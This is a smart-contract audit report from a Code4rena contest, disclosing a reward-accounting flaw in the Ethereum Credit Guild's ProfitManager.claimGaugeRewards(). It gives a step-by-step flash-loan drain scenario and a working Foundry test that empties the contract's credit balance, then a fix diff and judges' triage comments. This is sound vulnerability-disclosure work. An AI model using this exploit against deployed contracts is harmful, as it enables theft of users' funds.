c4-bot-1 commented 6 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

Impact

The credit token owned by ProfitManager could be drained by malicious user.

Proof of Concept

The Ethereum Credit Guild uses a gauge system to determine the relative debt ceiling of the lending term. The providers determine the relative debt ceilings of the lending term:

Guild holders can increase the debt ceiling by staking GUILD into the lending term
Credit holders can increase the debt ceiling by staking CREDIT into SurplusGuildMinter of the lending term

Every staker is eligible to receive rewards from the profits generated during the lending term:

Guild stakers call ProfitManager#claimGaugeRewards() to claim credit rewards
Credit stakers call SurplusGuildMinter#getRewards() to claim credit rewards from SurplusGuildMinter

If guild holder doesn't provide any weight on gauge, no reward can be claimed when calling ProfitManager#claimGaugeRewards():

416:        if (_userGaugeWeight == 0) {
417:            return 0;
418:        }

Otherwise, the credit reward will be calculated and transferred to guild holders:

419:        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
420:        uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
421:        if (_gaugeProfitIndex == 0) {
422:            _gaugeProfitIndex = 1e18;
423:        }
424:        if (_userGaugeProfitIndex == 0) {
425:            _userGaugeProfitIndex = 1e18;
426:        }
427:        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
428:        if (deltaIndex != 0) {
429:            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
430:            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
431:        }
432:        if (creditEarned != 0) {
433:            emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
434:            CreditToken(credit).transfer(user, creditEarned);
435:        }

userGaugeProfitIndex[user][gauge] will be updated to the latest value of _gaugeProfitIndex if _userGaugeWeight is not 0. However it doesn't get updated when _userGaugeWeight is 0. Guild holders have chance to claim credit rewards even they didn't provide any weight for gague.

Suppose alice didn't provide any weight on gague in the beginning:

When one loan on a term(gauge) is repaid, gaugeProfitIndex[gauge] will get increased accordingly through the calling of ProfitManager#notifyPnL().
alice notice that and call GuildToken#incrementGauge() to add all free weight to gauge. userGaugeProfitIndex[alice][gauge] is not updated since previous _userGaugeWeight is 0.
- userGaugeProfitIndex[alice][gauge] is 0 if it's first time alice calling incrementGauge() on gague
- or userGaugeProfitIndex[alice][gauge] remains unchanged，the last update of which is in calling of decrementGauge() by alice to remove all weight on gauge
Alice call GuildToken#decrementGauge() in the same block, since deltaIndex is not 0, she can claim reward and exit immediatelly.

Furthermore, If an attacker can flash loan GUILD somewhere, they can drain all credit token balance in profitManager in one block:

An attacker flash loan a huge amount of GUILD
call GuildToken#incrementGauge() and GuildToken#decrementGauge() to claim credit token rewards
redeem credit rewards to peg token
repay all borrowed GUILD and interest

Copy below codes to SurplusGuildMinter.t.sol and run forge test --match-test testDrainProfitManagerInOneBlock:

    function testDrainProfitManagerInOneBlock() public {
        // setup
        credit.mint(address(this), 150e18);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        assertEq(credit.balanceOf(address(this)), 0);
        assertEq(profitManager.termSurplusBuffer(term), 150e18);
        assertEq(guild.balanceOf(address(sgm)), 300e18);
        assertEq(guild.getGaugeWeight(term), 350e18);
        assertEq(sgm.getUserStake(address(this), term).credit, 150e18);

        // the guild token earn interests
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        credit.mint(address(profitManager), 35e18);
        profitManager.notifyPnL(term, 35e18);

        // next block
        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        address alice = address(0x1);
        guild.mint(alice, 3700e18);
        //@audit-info alice got 3700e18 guild token before attack
        assertEq(guild.balanceOf(alice), 3700e18);
        assertEq(credit.balanceOf(alice), 0);
        //@audit-info 185e18 = 150e18 + 35e18 (staked credit + profit)
        assertEq(credit.balanceOf(address(profitManager)), 185e18);
        vm.startPrank(alice);
        //@audit-info alice attack profitManager in one block
        guild.incrementGauge(term, 3700e18);
        guild.decrementGauge(term, 3700e18);
        vm.stopPrank();
        assertEq(guild.balanceOf(alice), 3700e18);
        //@audit-info all credit token in profitManger are drained 
        assertEq(credit.balanceOf(alice), 185e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

userGaugeProfitIndex[user][gauge] must be always updated to the latest gaugeProfitIndex[gauge] each time claimGaugeRewards() is called, no matter _userGaugeWeight is 0 or not:

    function claimGaugeRewards(
        address user,
        address gauge
    ) public returns (uint256 creditEarned) {
        uint256 _userGaugeWeight = uint256(
            GuildToken(guild).getUserGaugeWeight(user, gauge)
        );
        if (_userGaugeWeight == 0) {
+           userGaugeProfitIndex[user][gauge] = gaugeProfitIndex[gauge];
            return 0;
        }
        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
        uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
        if (_gaugeProfitIndex == 0) {
            _gaugeProfitIndex = 1e18;
        }
       if (_userGaugeProfitIndex == 0) {
           _userGaugeProfitIndex = 1e18;
       }
        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
        if (deltaIndex != 0) {
            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
        }
        if (creditEarned != 0) {
            emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
            CreditToken(credit).transfer(user, creditEarned);
        }
    }

Assessed type

Other

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as sufficient quality report

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as duplicate of #1211

c4-judge commented 5 months ago

Trumpero marked the issue as satisfactory

code-423n4 / 2023-12-ethereumcreditguild-findings

In some cases `userGaugeProfitIndex` doesn't get updated when calling `ProfitManager#claimGaugeRewards()` #979